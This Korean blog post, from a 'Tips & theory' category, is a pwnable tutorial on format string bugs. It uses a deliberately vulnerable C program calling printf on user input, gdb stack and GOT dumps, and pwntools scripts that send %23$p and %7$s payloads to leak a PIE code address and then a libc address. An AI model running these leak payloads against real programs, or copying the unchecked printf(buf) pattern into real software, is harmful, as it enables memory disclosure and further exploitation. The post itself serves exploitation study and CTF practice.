서론
개인적으로 지금까지 format string bug는 단순히
offset 확인을 위한 %p(또는 %x),
입력 길이를 위한 %c,
길이만큼 쓰기를 위한 %n
정도만 사용하고 있었는데, linked_list 라는 문제를 풀면서 조금 더 발전할 수 있는 계기가 되었다.
원리
어차피 원리는 format string bug이다.
다만, memory leak 관점에서 활용성을 극대화할 수 있어서 조금 정리해둔다.
일단 간단히 코딩.
main(){
char buf[100];
while (1){
gets(buf);
printf(buf);
printf("\n");
}
}
컴파일 시 에러가 많이 나는데 무시해도 상관없음 ㅋ
일단, 아래와 같이 %p로 출력해봤다.
┌──(kali㉿kali)-[~/Downloads]
└─$ ./a
%p%p%p%p%p%p%p%p%p%p
0x10x10x7f62555f4a80(nil)(nil)0x70257025702570250x70257025702570250x70257025(nil)(nil)
모두가 알다시피 한번에 오프셋을 조금 넘어가보자.
%p
0x1
%2$p
0x1
%3$p
0x7f62555f4a80
%4$p
(nil)
%5$p
(nil)
%6$p
0x7025000070243625
마찬가지로 알다시피 print 함수 진입 후 rsp address를 기준으로 offset을 출력해준다.
저기 3번째 어딘가의 address처럼 보이는 값은 무엇일까.
gdb로 확인해봤다.
%3$p
0x7ffff7df4a80
^C
Program received signal SIGINT, Interrupt.
...
gef➤ x/g 0x7ffff7df4a80
0x7ffff7df4a80 <_IO_2_1_stdin_>: 0xfbad2288
stdin 구조체의 P flag 값이다.
stack의 모양을 조금 보자.
gef➤ x/40gx $rsp
0x7fffffffdee0: 0x0000000070243325 0x0000000000000000
0x7fffffffdef0: 0x0000000000000000 0x0000000000000000
0x7fffffffdf00: 0x0000000000000000 0x0000000000000000
0x7fffffffdf10: 0x0000000000000000 0x0000000000000000
0x7fffffffdf20: 0x0000000000000000 0x0000000000000000
0x7fffffffdf30: 0x0000000000000000 0x0000000000000000
0x7fffffffdf40: 0x0000000000000000 0x0000000000000000
0x7fffffffdf50: 0x0000000000000001 0x00007ffff7c2920a
0x7fffffffdf60: 0x0000000000000000 0x0000555555555159
0x7fffffffdf70: 0x0000000100000000 0x00007fffffffe068
0x7fffffffdf80: 0x0000000000000000 0x0ed2bdd25c0efe9c
0x7fffffffdf90: 0x00007fffffffe068 0x0000555555555159
0x7fffffffdfa0: 0x0000555555557dd8 0x00007ffff7ffd020
0x7fffffffdfb0: 0xf12d422de2ccfe9c 0xf12d52577f88fe9c
0x7fffffffdfc0: 0x0000000000000000 0x0000000000000000
0x7fffffffdfd0: 0x0000000000000000 0x0000000000000001
0x7fffffffdfe0: 0x0000000000000000 0xc39f104b75593000
0x7fffffffdff0: 0x000000000000000d 0x00007ffff7c292bc
0x7fffffffe000: 0x00007fffffffe078 0x0000555555557dd8
0x7fffffffe010: 0x00007ffff7ffe2c0 0x0000000000000000
대략 0x7f로 시작하는 부분은 libc, ld, stack 영역즈음 일테고, 0x55로 시작하는 부분은 code 영역이나 data 영역일 것이다.
아래와 같이 말이다.
gef➤ x/g 0x00007ffff7c2920a
0x7ffff7c2920a <__libc_start_call_main+122>: 0xe800016effe8c789
gef➤ x/g 0x0000555555555159
0x555555555159 <main>: 0x70ec8348e5894855
libc 영역이야 뭐 추가로 언급할 필요가 없을 것이다.
결국 저 주소 값으로 offset을 구하면 되니까.
근데, code & data 영역을 생각해보자.
main 함수는 아래와 같이 위치해있다.
gef➤ x/g 0x0000555555555159
0x555555555159 <main>: 0x70ec8348e5894855
gef➤ vm 0x555555555159
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x00555555555000 0x00555555556000 0x00000000001000 r-x /home/kali/Downloads/a
gef➤ vmmap
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x00555555554000 0x00555555555000 0x00000000000000 r-- /home/kali/Downloads/a
0x00555555555000 0x00555555556000 0x00000000001000 r-x /home/kali/Downloads/a
0x00555555556000 0x00555555557000 0x00000000002000 r-- /home/kali/Downloads/a
0x00555555557000 0x00555555558000 0x00000000002000 r-- /home/kali/Downloads/a
0x00555555558000 0x00555555559000 0x00000000003000 rw- /home/kali/Downloads/a
해당 영역의 값들을 보면 main만 있느냐?
당연히 아니다.
0x555555555000 <_init>: 0xc5058b4808ec8348 0x0274c0854800002f
0x555555555010 <_init+16>: 0x00c308c48348d0ff 0x0000000000000000
0x555555555020: 0x25ff00002fca35ff 0x00401f0f00002fcc
0x555555555030 <putchar@plt>: 0x006800002fca25ff 0xffffffe0e9000000
0x555555555040 <printf@plt>: 0x016800002fc225ff 0xffffffd0e9000000
0x555555555050 <gets@plt>: 0x026800002fba25ff 0xffffffc0e9000000
0x555555555060 <__cxa_finalize@plt>: 0x906600002f7a25ff 0x0000000000000000
0x555555555070 <_start>: 0x89485ed18949ed31 0x455450f0e48348e2
0x555555555080 <_start+16>: 0xce3d8d48c931c031 0x002f2f15ff000000
0x555555555090 <_start+32>: 0x00841f0f2e66f400 0x00401f0f00000000
0x5555555550a0 <deregister_tm_clones>: 0x4800002f813d8d48 0x394800002f7a058d
0x5555555550b0 <deregister_tm_clones+16>: 0x2f0e058b481574f8 0xff0974c085480000
0x5555555550c0 <deregister_tm_clones+32>: 0x00000000801f0fe0 0x00000000801f0fc3
0x5555555550d0 <register_tm_clones>: 0x4800002f513d8d48 0x294800002f4a358d
0x5555555550e0 <register_tm_clones+16>: 0x3feec148f08948fe 0x48c6014803f8c148
0x5555555550f0 <register_tm_clones+32>: 0xdd058b481474fed1 0x0874c0854800002e
0x555555555100 <register_tm_clones+48>: 0x0000441f0f66e0ff 0x00000000801f0fc3
0x555555555110 <__do_global_dtors_aux>: 0x2f0d3d80fa1e0ff3 0x8348552b75000000
0x555555555120 <__do_global_dtors_aux+16>: 0x89480000002eba3d 0x2eee3d8b480c74e5
0x555555555130 <__do_global_dtors_aux+32>: 0xe8ffffff29e80000 0x2ee505c6ffffff64
0x555555555140 <__do_global_dtors_aux+48>: 0x001f0fc35d010000 0x00000000801f0fc3
0x555555555150 <frame_dummy>: 0xffff77e9fa1e0ff3 0xec8348e5894855ff
0x555555555160 <main+7>: 0xc7894890458d4870 0xfedee800000000b8
0x555555555170 <main+23>: 0x894890458d48ffff 0xbde800000000b8c7
0x555555555180 <main+39>: 0x0000000abffffffe 0x00d2ebfffffea3e8
0x555555555190 <_fini>: 0x08c4834808ec8348 0x00000000000000c3
조금 더 내려 가볼까?
0x555555556000 <_IO_stdin_used>: 0x3b031b0100020001 0x0000000400000028
0x555555556010: 0x00000074fffff01c 0x0000009cfffff05c
0x555555556020: 0x00000044fffff06c 0x000000b4fffff155
0x555555556030: 0x0000000000000014 0x0110780100527a01
0x555555556040: 0x1007019008070c1b 0x0000001c00000014
0x555555556050: 0x00000022fffff020 0x0000000000000000
0x555555556060: 0x0000000000000014 0x0110780100527a01
0x555555556070: 0x0000019008070c1b 0x0000001c00000024
0x555555556080: 0x00000040ffffefa0 0x0f4a180e46100e00
0x555555556090: 0x3b1a3f008008770b 0x000000002224332a
0x5555555560a0: 0x0000004400000014 0x00000008ffffefb8
0x5555555560b0: 0x0000000000000000 0x0000005c00000018
0x5555555560c0: 0x00000036fffff099 0x0d430286100e4100
그렇다. 그 밑에 값들이 더 있다.
조금 더 가보자.
0x555555557fb0: 0x0000000000000000 0x0000000000000000
0x555555557fc0: 0x00007ffff7c29240 0x0000000000000000
0x555555557fd0: 0x0000000000000000 0x0000000000000000
0x555555557fe0: 0x00007ffff7c403e0 0x0000000000003de0
0x555555557ff0: 0x00007ffff7ffe2c0 0x00007ffff7fdbfb0
0x555555558000 <putchar@got.plt>: 0x0000555555555036 0x0000555555555046
0x555555558010 <gets@got.plt>: 0x00007ffff7c75490 0x0000000000000000
자주보던 값이 나왔다.
PIE가 걸려있던 안걸려있던, 어차피 해당 위치는 할당된 주소로부터의 offset에 위치하고 있기에
어떻게든 code / data 영역의 값을 leak 할 수 있다면 offset을 통해 libc address leak 또한 가능할 것 같다.
근데 어떻게...?
여기서 쓰이는 것이 %s이다.
%s는 해당 주소가 가진 값을 null을 만나기 전까지 출력해준다.
일단 %p를 사용해 입력 시작점을 확인해보면 6번째다.
AAAAAAAA%p%p%p%p%p%p
AAAAAAAA0x10x10x7ffff7df4a80(nil)(nil)0x4141414141414141
그럼 위의 stack의 값을 비교해보면 main 함수의 주소는 23번째가 될 것이다.
%23$p
0x555555555159
여기서 %s로 바꿔서 해당 주소의 값을 확인해보면?
%23$p
0x555555555159
%23$s
UH��H��pH�E�H�Ǹ
와 같이 출력된다.
파이썬으로 값을 받아보면
from pwn import *
p = process('./a')
p.sendline(b'%23$s')
print(p.recvline())
아래와 같다.
┌──(kali㉿kali)-[~/Downloads]
└─$ python a.py
[+] Starting local process './a': pid 125890
b'UH\x89\xe5H\x83\xecpH\x8dE\x90H\x89\xc7\xb8\n'
[*] Stopped process './a' (pid 125890)
이 값들은 무엇일까?
예상하다시피 main 함수의 어셈블러 코드이다.
gef➤ x/10g 0x555555555159
0x555555555159 <main>: 0x70ec8348e5894855 0xb8c7894890458d48
0x555555555169 <main+16>: 0xfffedee800000000
자, 그럼 위에서 본 것처럼 main 함수로부터 본 프로그램에 사용되는 got 영역 까지의 거리를 계산할 수 있기에
gef➤ p main
$1 = {<text variable, no debug info>} 0x555555555159 <main>
gef➤ x/g 0x555555555159
0x555555555159 <main>: 0x70ec8348e5894855
gef➤ x/g 0x555555558000
0x555555558000 <putchar@got.plt>: 0x00007ffff7c776f0
gef➤ p 0x555555558000-0x555555555159
$2 = 0x2ea7
최초 leak 된 주소에서 오프셋을 더해 값을 써주며,
%s로 읽어올 주소의 위치만 잘 찾아주면 또 다른 유용한 address leak이 가능하다.
아래와 같이 말이다.
from pwn import *
p = process('./a')
p.sendline(b'%23$p')
leak = int(p.recvline(),16)
print('%23$p leak value = ', hex(leak))
addr = leak + 0x2ea7
pay = b'%7$s' + b'AAAA' + p64(addr)
p.sendline(pay)
print('%7$s value =',hex(u64(p.recvuntil(b'A')[:-1].ljust(8,b'\x00'))))
┌──(kali㉿kali)-[~/Downloads]
└─$ python a.py
[+] Starting local process './a': pid 151760
%23$p leak value = 0x56248e580159
%7$s value = 0x7f3f2cc776f0
[*] Stopped process './a' (pid 151760)
당연하게도 두번째 leak 된 값은 puts의 got address이다.
'Tips & theory' 카테고리의 다른 글
for "민규" (0) | 2022.11.27 |
---|---|
docker gdb attach & pid로 gdb attach (0) | 2022.11.25 |
dockerfile for pwnable [2022-11-23] (2) | 2022.11.19 |
for "One" (0) | 2022.11.10 |
return to dl resolve (0) | 2022.11.10 |